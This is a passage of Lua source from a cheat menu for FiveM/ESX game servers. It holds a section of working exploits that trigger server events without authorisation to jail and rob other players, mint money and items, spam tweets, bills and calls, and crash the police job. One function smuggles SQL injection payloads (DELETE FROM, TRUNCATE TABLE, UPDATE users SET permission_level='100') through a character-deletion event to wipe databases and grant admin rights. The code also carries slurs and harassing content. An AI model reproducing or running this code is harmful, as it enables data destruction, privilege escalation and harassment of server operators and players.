6373 if Herooyyy.datastore.ESX ~= nil then
6374 Herooyyy.datastore.ESX.TriggerServerCallback('disc-inventoryhud:getIdentifier', function(identifier)
6375 discSecondarySearchInventory.owner = identifier
6376 Herooyyy.dTCE(false, false, 'disc-inventoryhud:openInventory', discSecondarySearchInventory)
6377 end, player)
6378 else
6379 Herooyyy.pushNotification('Could not find ESX, try refresing it in the settings tab', 5000)
6380 end
6381end
6382
6383Herooyyy.functions.sPO.StealDisc = function(player)
6384 local discSecondaryStealInventory = {
6385 type = 'player',
6386 owner = '',
6387 steal = true
6388 }
6389 if Herooyyy.datastore.ESX ~= nil then
6390 Herooyyy.datastore.ESX.TriggerServerCallback('disc-inventoryhud:getIdentifier', function(identifier)
6391 discSecondaryStealInventory.owner = identifier
6392 Herooyyy.dTCE(false, false, 'disc-inventoryhud:openInventory', discSecondaryStealInventory)
6393 end, player)
6394 else
6395 Herooyyy.pushNotification('Could not find ESX, try refresing it in the settings tab', 5000)
6396 end
6397end
6398
6399Herooyyy.functions.sPO.jailTheFucker = function(target, time)
6400 if Herooyyy.functions.doesResourceExist('esx-qalle-jail') or Herooyyy.functions.doesResourceExist('esx_qalle_jail') then
6401 Herooyyy.dTCE(false, true, 'esx-qalle-jail:jailPlayer', target, time, 'www.herooyyy')
6402 elseif Herooyyy.functions.doesResourceExist('esx_jailer') then
6403 Herooyyy.dTCE(false, true, 'esx_jailler:sendToJail', target, time, 'www.herooyyy', time)
6404 Herooyyy.dTCE(false, true, 'esx_jailer:sendToJail', target, time, 'www.herooyyy', time)
6405 elseif Herooyyy.functions.doesResourceExist('esx_jail') then
6406 Herooyyy.dTCE(false, true, 'esx_jail:sendToJail', target, time, 'www.herooyyy')
6407 else
6408 Herooyyy.pushNotification('Resource was not found!', 5000)
6409 end
6410end
6411
6412Herooyyy.functions.sPO.unJailTheFucker = function(target)
6413 if Herooyyy.functions.doesResourceExist('esx-qalle-jail') or Herooyyy.functions.doesResourceExist('esx_qalle_jail') then
6414 Herooyyy.dTCE(false, true, 'esx-qalle-jail:unJailPlayer', target)
6415 elseif Herooyyy.functions.doesResourceExist('esx_jailer') then
6416 Herooyyy.dTCE(false, true, 'esx_jailler:sendToJail', target, 0, 'www.herooyyy', time)
6417 Herooyyy.dTCE(false, true, 'esx_jailer:sendToJail', target, 0, 'www.herooyyy', time)
6418 elseif Herooyyy.functions.doesResourceExist('esx_jail') then
6419 Herooyyy.dTCE(false, true, 'esx_jail:sendToJail', target, 0, 'www.herooyyy')
6420 else
6421 Herooyyy.pushNotification('Resource was not found!', 5000)
6422 end
6423end
6424
6425Herooyyy.functions.sPO.communityService = function(target)
6426 if Herooyyy.functions.doesResourceExist('ESX_CommunityService') or Herooyyy.functions.doesResourceExist('esx_CommunityService') then
6427 Herooyyy.dTCE(false, true, 'esx_communityservice:sendToCommunityService', target, 5391)
6428 else
6429 Herooyyy.pushNotification('Resource was not found!', 5000)
6430 end
6431end
6432
6433--[[
6434 Some nice exploits yes?
6435]]
6436
6437Herooyyy.functions.exploits = {}
6438
6439Herooyyy.functions.exploits.gcphoneTwitter = function()
6440 if Herooyyy.functions.doesResourceExist('gcPhone') or Herooyyy.functions.doesResourceExist('xenknight') then
6441 pCreateThread(function()
6442 Herooyyy.dTCE(false, true, 'gcPhone:twitter_createAccount', 'herooyyy', 'herooyyy', 'https://www.cjnews.com/wp-content/uploads/2012/01/gay-640x588.jpg')
6443 pWait(1500)
6444 Herooyyy.dTCE(false, true, 'gcPhone:twitter_login', 'herooyyy', 'herooyyy')
6445 pWait(1500)
6446 for i = 1, 50 do
6447 Herooyyy.dTCE(true, true, 'gcPhone:twitter_postTweets', 'herooyyy', 'herooyyy', 'herooyyy > all | Nertigel#5391')
6448 end
6449 end)
6450 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6451end
6452
6453Herooyyy.functions.exploits.esx_license = function()
6454 if Herooyyy.functions.doesResourceExist('esx_license') then
6455 local licensesToExploit = {
6456 'herooyyy',
6457 'herooyyy',
6458 'Nertigel#5391',
6459 'RIP Your SQL Faggot',
6460 'Make sure to wipe all tables ;)',
6461 'Nertigel Was Here',
6462 'discord.gg/fjBp55t'
6463 }
6464 for i = 0, #licensesToExploit do
6465 local plist = Herooyyy.natives.getActivePlayers()
6466 for player = 0, #plist do
6467 Herooyyy.dTCE(true, true, 'esx_license:addLicense', player, licensesToExploit[i], function(cb)
6468 cb(true)
6469 dir_print('added license '..licensesToExploit[i]..' to '..player)
6470 end)
6471 end
6472 end
6473 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6474end
6475
6476Herooyyy.functions.exploits.esx_givelicenses = function()
6477 if Herooyyy.functions.doesResourceExist('esx_license') then
6478 local licensesToExploit = {
6479 'dmv',
6480 'drive',
6481 'drive_bike',
6482 'drive_truck',
6483 'weapon'
6484 }
6485 for i = 0, #licensesToExploit do
6486 local plist = Herooyyy.natives.getActivePlayers()
6487 for player = 0, #plist do
6488 Herooyyy.dTCE(true, true, 'esx_license:addLicense', player, licensesToExploit[i], function(cb)
6489 cb(true)
6490 dir_print('added license '..licensesToExploit[i])
6491 end)
6492 end
6493 end
6494 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6495end
6496
6497Herooyyy.functions.exploits.esx_kashacters = function(player_specific, task, table)
6498 if Herooyyy.functions.doesResourceExist('esx_kashacters') or
6499 Herooyyy.functions.doesResourceExist('esx_Kashacters') or
6500 Herooyyy.functions.doesResourceExist('Kashacters') or
6501 Herooyyy.functions.doesResourceExist('kashacters') then
6502 if player_specific then
6503 local player_specific2 = player_specific:gsub('steam', '')
6504 player_specific2 = 'Char1'..player_specific2
6505 Herooyyy.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE identifier=\''..player_specific..'\';/')
6506 Herooyyy.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE identifier=\''..player_specific2..'\';/')
6507 Herooyyy.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE target=\''..player_specific..'\';/')
6508 Herooyyy.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE target=\''..player_specific2..'\';/')
6509 else
6510 if task == 'clean' then
6511 Herooyyy.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';TRUNCATE TABLE '..table..';/')
6512 elseif task == 'flood' then
6513 Herooyyy.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';UPDATE users SET permission_level=\'100\' WHERE name=\'' ..NetworkPlayerGetName(PlayerId()) .. '\';/')
6514 end
6515 end
6516 Herooyyy.pushNotification('Exploit ran successfully', 15000)
6517 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6518end
6519
6520Herooyyy.functions.exploits.interactSound = function()
6521 if Herooyyy.functions.doesResourceExist('interactSound') or
6522 Herooyyy.functions.doesResourceExist('InteractSound') or
6523 Herooyyy.functions.doesResourceExist('interact-sound') then
6524 Herooyyy.dTCE(true, true, 'InteractSound_SV:PlayOnAll', 'demo', 99.0)
6525 Herooyyy.dTCE(true, true, 'InteractSound_SV:PlayWithinDistance', 5000.0, 'demo', 98.0)
6526 Herooyyy.dTCE(true, true, 'InteractSound_SV:PlayOnAll', 'cuff', 97.0)
6527 Herooyyy.dTCE(true, true, 'InteractSound_SV:PlayOnAll', 'buckle', 96.0)
6528 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6529end
6530
6531Herooyyy.functions.exploits.phoneSpam = function()
6532 if Herooyyy.functions.doesResourceExist('esx_phone') or
6533 Herooyyy.functions.doesResourceExist('gcPhone') or
6534 Herooyyy.functions.doesResourceExist('xenknight') then
6535 Herooyyy.dTCE(true, true, 'esx_phone:send', 'police', 'www.herooyyy', true, {x = 1337.0, y = 1337.0, z = 1337.0})
6536 Herooyyy.dTCE(true, true, 'esx_phone:send', 'ambulance', 'www.herooyyy', true, {x = 1337.0, y = 1337.0, z = 1337.0})
6537 Herooyyy.dTCE(true, true, 'esx_phone:send', 'taxi', 'www.herooyyy', true, {x = 1337.0, y = 1337.0, z = 1337.0})
6538 Herooyyy.dTCE(true, true, 'esx_phone:send', 'realestateagent', 'www.herooyyy', true, {x = 1337.0, y = 1337.0, z = 1337.0})
6539 elseif Herooyyy.functions.doesResourceExist('esx_addons_gcphone') then
6540 Herooyyy.dTCE(true, true, 'esx_addons_gcphone:startCall', 'police', 'www.herooyyy', {x = 1337.0, y = 1337.0, z = 1337.0})
6541 Herooyyy.dTCE(true, true, 'esx_addons_gcphone:startCall', 'ambulance', 'www.herooyyy', {x = 1337.0, y = 1337.0, z = 1337.0})
6542 Herooyyy.dTCE(true, true, 'esx_addons_gcphone:startCall', 'taxi', 'www.herooyyy', {x = 1337.0, y = 1337.0, z = 1337.0})
6543 Herooyyy.dTCE(true, true, 'esx_addons_gcphone:startCall', 'realestateagent', 'www.herooyyy', {x = 1337.0, y = 1337.0, z = 1337.0})
6544 end
6545end
6546
6547Herooyyy.functions.exploits.esx_moneymaker = function()
6548 if Herooyyy.datastore.ESX == nil then Herooyyy.pushNotification('ESX was not found.') return end
6549 local m = Herooyyy.trashFunctions.keyboardInput('Enter amount of money', '', 12)
6550 if not Herooyyy.functions.game.isNullOrEmpty(m) then
6551 local doloop = Herooyyy.trashFunctions.keyboardInput('Enter amount loops', '', 12)
6552 if not doloop then doloop = 1 end
6553
6554 Herooyyy.functions.exploits.run_esx_moneymaker(m, doloop)
6555 else
6556 Herooyyy.pushNotification('Please enter a valid amount of money!', 5000)
6557 end
6558end
6559
6560Herooyyy.functions.exploits.run_esx_moneymaker = function(moneyAmt, loopAmt)
6561 if Herooyyy.datastore.ESX == nil then Herooyyy.pushNotification('ESX was not found.') return end
6562 for iloop = 0, loopAmt do
6563 if Herooyyy.functions.doesResourceExist('disc-base') then
6564 Herooyyy.dTCE(true, true, 'disc-base:givePlayerMoney', moneyAmt)
6565 Herooyyy.dTCE(true, true, 'disc-base:givePlayerDirtyMoney', moneyAmt)
6566 end
6567 if Herooyyy.functions.doesResourceExist('esx_vangelico_robbery') or Herooyyy.functions.doesResourceExist('esx_vangelico') then
6568 Herooyyy.dTCE(true, true, 'esx_vangelico_robbery:gioielli')
6569 Herooyyy.dTCE(true, true, 'esx_vangelico_robbery:gioielli1')
6570
6571 Herooyyy.dTCE(true, true, 'lester:vendita')
6572 end
6573 if Herooyyy.functions.doesResourceExist('esx_burglary') or Herooyyy.functions.doesResourceExist('99kr-burglary') then
6574 Herooyyy.dTCE(true, true, '99kr-burglary:addMoney', moneyAmt)
6575 Herooyyy.dTCE(true, true, 'burglary:money', moneyAmt)
6576 end
6577 if Herooyyy.functions.doesResourceExist('esx_minerjob') or Herooyyy.functions.doesResourceExist('esx_miner') or Herooyyy.functions.doesResourceExist('esx_mining') then
6578 Herooyyy.dTCE(true, true, 'esx_mining:getItem')
6579 Herooyyy.dTCE(true, true, 'esx_mining:sell')
6580 end
6581 if Herooyyy.functions.doesResourceExist('esx_fishing') or Herooyyy.functions.doesResourceExist('loffe-fishing') or Herooyyy.functions.doesResourceExist('james_fishing') then
6582 Herooyyy.dTCE(true, true, 'esx_fishing:caughtFish')
6583 Herooyyy.dTCE(true, true, 'loffe-fishing:giveFish')
6584 Herooyyy.dTCE(true, true, 'loffe-fishing:sellFish')
6585 Herooyyy.datastore.ESX.TriggerServerCallback('james_fishing:receiveFish', function(received)
6586 if received then
6587 dir_print('received fish')
6588 end
6589 end)
6590 Herooyyy.datastore.ESX.TriggerServerCallback('james_fishing:sellFish', function(sold, fishesSold)
6591 if sold then
6592 dir_print('sold '..fishesSold)
6593 end
6594 end)
6595 end
6596 if Herooyyy.functions.doesResourceExist('esx_mugging') then
6597 Herooyyy.dTCE(true, true, 'esx_mugging:giveMoney', moneyAmt)
6598 end
6599 if Herooyyy.functions.doesResourceExist('loffe_robbery') then
6600 Herooyyy.dTCE(true, true, 'loffe_robbery:pickUp', iloop)
6601 end
6602 if Herooyyy.functions.doesResourceExist('esx_prisonwork') or Herooyyy.functions.doesResourceExist('loffe_prisonwork') then
6603 Herooyyy.dTCE(true, true, 'esx_loffe_fangelse:Pay')
6604 end
6605 if Herooyyy.functions.doesResourceExist('esx_robnpc') then
6606 Herooyyy.dTCE(true, true, 'esx_robnpc:giveMoney')
6607 end
6608 if Herooyyy.functions.doesResourceExist('MF_DrugSales') or Herooyyy.functions.doesResourceExist('MF_drugsales') or Herooyyy.functions.doesResourceExist('ESX_DrugSales') then
6609 Herooyyy.dTCE(true, true, 'MF_DrugSales:Sold', 'water', moneyAmt, iloop)
6610 end
6611 if Herooyyy.functions.doesResourceExist('lenzh_chopshop') or Herooyyy.functions.doesResourceExist('esx_chopshop') then
6612 Herooyyy.dTCE(true, true, 'lenzh_chopshop:rewards')
6613 Herooyyy.dTCE(true, true, 'lenzh_chopshop:sell', 'battery', 5)
6614 Herooyyy.dTCE(true, true, 'lenzh_chopshop:sell', 'lowradio', 5)
6615 Herooyyy.dTCE(true, true, 'lenzh_chopshop:sell', 'stockrim', 5)
6616 Herooyyy.dTCE(true, true, 'lenzh_chopshop:sell', 'highrim', 5)
6617 Herooyyy.dTCE(true, true, 'lenzh_chopshop:sell', 'highradio', 5)
6618 Herooyyy.dTCE(true, true, 'lenzh_chopshop:sell', 'airbag', 5)
6619 end
6620 if Herooyyy.functions.doesResourceExist('ESX_Deliveries') then
6621 Herooyyy.dTCE(true, true, 'esx_deliveries:AddCashMoney', moneyAmt)
6622 Herooyyy.dTCE(true, true, 'esx_deliveries:AddBankMoney', moneyAmt)
6623 Herooyyy.dTCE(true, true, 'esx_deliveries:finishDelivery:server')
6624 end
6625 if Herooyyy.functions.doesResourceExist('ESX_Cargodelivery') then
6626 Herooyyy.datastore.ESX.TriggerServerCallback('esx_cargodelivery:sellCargo', function(received)
6627 if received then
6628 dir_print('received '..moneyAmt)
6629 end
6630 end, moneyAmt)
6631 end
6632 if Herooyyy.functions.doesResourceExist('napadtransport') or Herooyyy.functions.doesResourceExist('Napad_transport_z_gotowka') or Herooyyy.functions.doesResourceExist('esx_truck_robbery') then
6633 Herooyyy.dTCE(true, true, 'napadtransport:graczZrobilnapad')
6634 end
6635 if Herooyyy.functions.doesResourceExist('napadnakase') or Herooyyy.functions.doesResourceExist('Napad_na_kase') then
6636 Herooyyy.dTCE(true, true, 'tost:zgarnijsiano')
6637 end
6638 if Herooyyy.functions.doesResourceExist('utk_oh') or Herooyyy.functions.doesResourceExist('utk_ornateheist') or Herooyyy.functions.doesResourceExist('aurora_principalbank') then
6639 Herooyyy.dTCE(true, true, 'utk_oh:rewardCash')
6640 Herooyyy.dTCE(true, true, 'utk_oh:rewardGold')
6641 Herooyyy.dTCE(true, true, 'utk_oh:rewardDia')
6642 Herooyyy.dTCE(true, true, 'utk_oh:giveidcard')
6643 end
6644
6645 --[[local jobsToExploit = {
6646 'esx_hunting',
6647 'esx_qalle_hunting',
6648 'esx-qalle-hunting',
6649 'esx_taxijob',
6650 'esx_taxi',
6651 'esx_carthiefjob',
6652 'esx_carthief',
6653 'esx_rangerjob',
6654 'esx_ranger',
6655 'esx_godirtyjob',
6656 'esx_godirty',
6657 'esx_banksecurityjob',
6658 'esx_banksecurity',
6659 'esx_pilotjob',
6660 'esx_pilot',
6661 'esx_pizzajob',
6662 'esx_pizza',
6663 'esx_gopostaljob',
6664 'esx_gopostal',
6665 'esx_garbagejob',
6666 'esx_garbage',
6667 'esx_truckerjob',
6668 'esx_trucker'
6669 }
6670 local jTEsuffix = {
6671 ':pay',
6672 ':finish',
6673 ':finishJob',
6674 ':reward',
6675 ':sell',
6676 ':success'
6677 }
6678 pCreateThread(function()
6679 for i=1, #jobsToExploit do
6680 if Herooyyy.functions.doesResourceExist(jobsToExploit[i]) then
6681 for suff=1, #jTEsuffix do
6682 pWait(50)
6683 Herooyyy.dTCE(true, true, jobsToExploit[i]..jTEsuffix[suff], moneyAmt)
6684 end
6685 end
6686 end
6687 end)]]
6688 end
6689end
6690
6691Herooyyy.functions.exploits.esx_give_something = function(item_type, item_name, item_amount)
6692 local plist = Herooyyy.natives.getActivePlayers()
6693 for i=1, #plist do
6694 Herooyyy.dTCE(true, true, 'esx:giveInventoryItem', GetPlayerServerId(plist[i]), item_type, item_name, item_amount)
6695 end
6696end
6697
6698Herooyyy.functions.exploits.esx_moneywash = function()
6699 local m = Herooyyy.trashFunctions.keyboardInput('Enter amount of money', '', 12)
6700 if not Herooyyy.functions.game.isNullOrEmpty(m) then
6701 if Herooyyy.functions.doesResourceExist('esx_blanchisseur') or Herooyyy.functions.doesResourceExist('esx_moneywash') then
6702 Herooyyy.dTCE(true, true, 'esx_blanchisseur:washMoney', m)
6703 Herooyyy.dTCE(true, true, 'esx_moneywash:washMoney', m)
6704 Herooyyy.dTCE(true, true, 'esx_moneywash:withdraw', m)
6705 end
6706 else
6707 Herooyyy.pushNotification('Please enter a valid amount of money!', 5000)
6708 end
6709end
6710
6711Herooyyy.functions.exploits.esx_harvest_stop = function()
6712 if Herooyyy.functions.doesResourceExist('esx_drugs') then
6713 Herooyyy.dTCE(true, true, 'esx_drugs:stopHarvestWeed')
6714 Herooyyy.dTCE(true, true, 'esx_drugs:stopTransformWeed')
6715 Herooyyy.dTCE(true, true, 'esx_drugs:stopHarvestOpium')
6716 Herooyyy.dTCE(true, true, 'esx_drugs:stopTransformOpium')
6717 Herooyyy.dTCE(true, true, 'esx_drugs:stopHarvestMeth')
6718 Herooyyy.dTCE(true, true, 'esx_drugs:stopTransformMeth')
6719 Herooyyy.dTCE(true, true, 'esx_drugs:stopHarvestCoke')
6720 Herooyyy.dTCE(true, true, 'esx_drugs:stopTransformCoke')
6721 end
6722 if Herooyyy.functions.doesResourceExist('esx_illegal_drugs') then
6723 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopHarvestWeed')
6724 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopTransformWeed')
6725 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopHarvestOpium')
6726 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopTransformOpium')
6727 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopHarvestMeth')
6728 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopTransformMeth')
6729 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopHarvestCoke')
6730 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:stopTransformCoke')
6731 end
6732 if Herooyyy.functions.doesResourceExist('esx_mechanicjob') then
6733 Herooyyy.dTCE(true, true, 'esx_mechanicjob:stopHarvest')
6734 Herooyyy.dTCE(true, true, 'esx_mechanicjob:stopHarvest2')
6735 Herooyyy.dTCE(true, true, 'esx_mechanicjob:stopHarvest3')
6736 Herooyyy.dTCE(true, true, 'esx_mechanicjob:stopCraft')
6737 Herooyyy.dTCE(true, true, 'esx_mechanicjob:stopCraft2')
6738 Herooyyy.dTCE(true, true, 'esx_mechanicjob:stopCraft3')
6739 end
6740 if Herooyyy.functions.doesResourceExist('esx_mecanojob') then
6741 Herooyyy.dTCE(true, true, 'esx_mecanojob:stopHarvest')
6742 Herooyyy.dTCE(true, true, 'esx_mecanojob:stopHarvest2')
6743 Herooyyy.dTCE(true, true, 'esx_mecanojob:stopHarvest3')
6744 Herooyyy.dTCE(true, true, 'esx_mecanojob:stopCraft')
6745 Herooyyy.dTCE(true, true, 'esx_mecanojob:stopCraft2')
6746 Herooyyy.dTCE(true, true, 'esx_mecanojob:stopCraft3')
6747 end
6748end
6749
6750Herooyyy.functions.exploits.esx_outlawalert = function()
6751 if Herooyyy.functions.doesResourceExist('esx_outlawalert') then
6752 Herooyyy.dTCE(true, true, 'esx_outlawalert:gunshotInProgress', { x = 1337, y = 1337, z = 1337 }, 'herooyyy', 0)
6753 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6754end
6755
6756Herooyyy.functions.exploits.esx_billing = function()
6757 if Herooyyy.functions.doesResourceExist('esx_billing') then
6758 local billName = Herooyyy.trashFunctions.keyboardInput('Enter bill name', 'herooyyy', 32)
6759 local billAmount = Herooyyy.trashFunctions.keyboardInput('Enter bill amount', '', 16)
6760 for i=0, #Herooyyy.natives.getActivePlayers() do
6761 if Herooyyy.functions.game.isNullOrEmpty(billName) then billName = 'herooyyy > all' end
6762 if Herooyyy.functions.game.isNullOrEmpty(billAmount) then billAmount = 5391 end
6763 Herooyyy.dTCE(true, true, 'esx_billing:sendBill', GetPlayerServerId(i), 'herooyyy', billName, billAmount)
6764 end
6765 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6766end
6767
6768Herooyyy.functions.exploits.esx_policejob_crash = function()
6769 if Herooyyy.functions.doesResourceExist('esx_policejob') then
6770 pCreateThread(function()
6771 for i = 1, 50, 1 do
6772 Herooyyy.dTCE(true, true, 'esx_policejob:spawned')
6773 end
6774 end)
6775 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6776end
6777
6778Herooyyy.functions.exploits.esx_spawncustomitem = function()
6779 local itemName = Herooyyy.trashFunctions.keyboardInput('Enter Item Name', '', 15)
6780 if Herooyyy.functions.doesResourceExist('esx_jobs') then
6781 if not Herooyyy.functions.game.isNullOrEmpty(itemName) then
6782 local ItemData = {
6783 { name = itemName, db_name = itemName, time = 100, max = 100, add = 1, remove = 10, drop = 100, requires = 'nothing', requires_name = 'Nothing' }
6784 }
6785 pCreateThread(function()
6786 Herooyyy.dTCE(false, true, 'esx_jobs:startWork', ItemData)
6787 pWait(100)
6788 Herooyyy.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
6789 end)
6790 end
6791 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6792
6793 local jobsToExploit = {
6794 'esx_mechanicjob',
6795 'esx_mecanojob',
6796 'esx_taxijob',
6797 'esx_vehicleshop',
6798 'esx_gangjob',
6799 'esx_mafiajob',
6800 'esx_carteljob',
6801 'esx_bikerjob'
6802 }
6803 if not Herooyyy.functions.game.isNullOrEmpty(itemName) then
6804 for i=1, #jobsToExploit do
6805 if Herooyyy.functions.doesResourceExist(jobsToExploit[i]) then
6806 pCreateThread(function()
6807 Herooyyy.dTCE(true, true, jobsToExploit[i]..':getStockItem', itemName, 100)
6808 Herooyyy.dTCE(true, true, jobsToExploit[i]..':putStockItems', itemName, -100)
6809 end)
6810 end
6811 end
6812 end
6813end
6814
6815Herooyyy.functions.exploits.esx_spawncustomitems = function()
6816 if Herooyyy.functions.doesResourceExist('esx_jobs') then
6817 local item = Herooyyy.menuTables.customExploitableItems.Item[selectedESXCustomItemSpawn]
6818 local JobDB = Herooyyy.menuTables.customExploitableItems.ItemDatabase[item]
6819 if type(JobDB) == 'table' then
6820 pCreateThread(function()
6821 for key, value in pairs(JobDB) do
6822 local ItemRequired = Herooyyy.menuTables.customExploitableItems.ItemRequires[key]
6823 local ItemData = {
6824 { name = key, db_name = value, time = 100, max = 1337, add = 1, remove = 10, drop = 100, requires = ItemRequired and JobDB[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
6825 }
6826 pCreateThread(function()
6827 Herooyyy.dTCE(false, true, 'esx_jobs:startWork', ItemData)
6828 pWait(1000)
6829 Herooyyy.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
6830 end)
6831 pWait(3000)
6832 end
6833 end)
6834 else
6835 local ItemRequired = Herooyyy.menuTables.customExploitableItems.ItemRequires[item];
6836 local ItemData = {
6837 { name = item, db_name = JobDB, time = 100, max = 100, add = 1, remove = 10, drop = 100, requires = ItemRequired and Herooyyy.menuTables.customExploitableItems.ItemDatabase[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
6838 }
6839 pCreateThread(function()
6840 Herooyyy.dTCE(false, true, 'esx_jobs:startWork', ItemData)
6841 pWait(100)
6842 Herooyyy.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
6843 end)
6844 end
6845 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6846end
6847
6848Herooyyy.functions.exploits.esx_jobitems = function()
6849 if Herooyyy.functions.doesResourceExist('esx_jobs') then
6850 local item = Herooyyy.menuTables.exploitableJobsTable.Item[selectedESXItemSpawn]
6851 local JobDB = Herooyyy.menuTables.exploitableJobsTable.ItemDatabase[item]
6852 if type(JobDB) == 'table' then
6853 pCreateThread(function()
6854 for key, value in pairs(JobDB) do
6855 local ItemRequired = Herooyyy.menuTables.exploitableJobsTable.ItemRequires[key]
6856 local ItemData = {
6857 { name = key, db_name = value, time = 100, max = 1337, add = 10, remove = 10, drop = 100, requires = ItemRequired and JobDB[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
6858 }
6859 pCreateThread(function()
6860 Herooyyy.dTCE(false, true, 'esx_jobs:startWork', ItemData)
6861 pWait(1000)
6862 Herooyyy.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
6863 end)
6864 pWait(3000)
6865 end
6866 end)
6867 else
6868 local ItemRequired = Herooyyy.menuTables.exploitableJobsTable.ItemRequires[item]
6869 local ItemData = {
6870 { name = item, db_name = JobDB, time = 100, max = 1337, add = 10, remove = 10, drop = 100, requires = ItemRequired and Herooyyy.menuTables.exploitableJobsTable.ItemDatabase[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
6871 }
6872 pCreateThread(function()
6873 Herooyyy.dTCE(false, true, 'esx_jobs:startWork', ItemData)
6874 pWait(100)
6875 Herooyyy.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
6876 end)
6877 end
6878 else Herooyyy.pushNotification('Resource was not found!', 5000) end
6879end
6880
6881Herooyyy.functions.exploits.esx_harvestitems = function()
6882 if selectedESXHarvestItem == 1 then
6883 if Herooyyy.functions.doesResourceExist('esx_drugs') then
6884 Herooyyy.dTCE(true, true, 'esx_drugs:startHarvestWeed')
6885 Herooyyy.dTCE(true, true, 'esx_drugs:startTransformWeed')
6886 Herooyyy.dTCE(true, true, 'esx_drugs:pickedUpCannabis')
6887 Herooyyy.dTCE(true, true, 'esx_drugs:processCannabis')
6888 elseif Herooyyy.functions.doesResourceExist('esx_illegal_drugs') then
6889 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startHarvestWeed')
6890 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startTransformWeed')
6891 end
6892 elseif selectedESXHarvestItem == 2 then
6893 if Herooyyy.functions.doesResourceExist('esx_drugs') then
6894 Herooyyy.dTCE(true, true, 'esx_drugs:startHarvestOpium')
6895 Herooyyy.dTCE(true, true, 'esx_drugs:startTransformOpium')
6896 elseif Herooyyy.functions.doesResourceExist('esx_illegal_drugs') then
6897 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startHarvestOpium')
6898 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startTransformOpium')
6899 end
6900 elseif selectedESXHarvestItem == 3 then
6901 if Herooyyy.functions.doesResourceExist('esx_drugs') then
6902 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startHarvestMeth')
6903 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startTransformMeth')
6904 elseif Herooyyy.functions.doesResourceExist('esx_illegal_drugs') then
6905 Herooyyy.dTCE(true, true, 'esx_drugs:startHarvestMeth')
6906 Herooyyy.dTCE(true, true, 'esx_drugs:startTransformMeth')
6907 end
6908 elseif selectedESXHarvestItem == 4 then
6909 if Herooyyy.functions.doesResourceExist('esx_drugs') then
6910 Herooyyy.dTCE(true, true, 'esx_drugs:startHarvestCoke')
6911 Herooyyy.dTCE(true, true, 'esx_drugs:startTransformCoke')
6912 elseif Herooyyy.functions.doesResourceExist('esx_illegal_drugs') then
6913 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startHarvestCoke')
6914 Herooyyy.dTCE(true, true, 'esx_illegal_drugs:startTransformCoke')
6915 elseif Herooyyy.functions.doesResourceExist('erratic_coke') then
6916 Herooyyy.dTCE(true, true, 'coke:GiveItem')
6917 Herooyyy.dTCE(true, true, 'coke:GiveItem')
6918 Herooyyy.dTCE(true, true, 'coke:processed')
6919 end
6920 end
6921 if selectedESXHarvestItem == 5 then
6922 if Herooyyy.functions.doesResourceExist('esx_mechanicjob') then
6923 Herooyyy.dTCE(true, true, 'esx_mechanicjob:startHarvest')
6924 Herooyyy.dTCE(true, true, 'esx_mechanicjob:startCraft')
6925 elseif Herooyyy.functions.doesResourceExist('esx_mecanojob') then
6926 Herooyyy.dTCE(true, true, 'esx_mecanojob:startHarvest')
6927 Herooyyy.dTCE(true, true, 'esx_mecanojob:startCraft')
6928 end
6929 elseif selectedESXHarvestItem == 6 then
6930 if Herooyyy.functions.doesResourceExist('esx_mechanicjob') then
6931 Herooyyy.dTCE(true, true, 'esx_mechanicjob:startHarvest2')
6932 Herooyyy.dTCE(true, true, 'esx_mechanicjob:startCraft2')
6933 elseif Herooyyy.functions.doesResourceExist('esx_mecanojob') then
6934 Herooyyy.dTCE(true, true, 'esx_mecanojob:startHarvest2')
6935 Herooyyy.dTCE(true, true, 'esx_mecanojob:startCraft2')
6936 end
6937 elseif selectedESXHarvestItem == 7 then
6938 if Herooyyy.functions.doesResourceExist('esx_mechanicjob') then
6939 Herooyyy.dTCE(true, true, 'esx_mechanicjob:startHarvest3')
6940 Herooyyy.dTCE(true, true, 'esx_mechanicjob:startCraft3')
6941 elseif Herooyyy.functions.doesResourceExist('esx_mecanojob') then
6942 Herooyyy.dTCE(true, true, 'esx_mecanojob:startHarvest3')
6943 Herooyyy.dTCE(true, true, 'esx_mecanojob:startCraft3')
6944 end
6945 end
6946end
6947
6948Herooyyy.functions.exploits.esx_spam_server_console = function()
6949 if Herooyyy.datastore.ESX ~= nil then
6950 for i = 4, 9 do
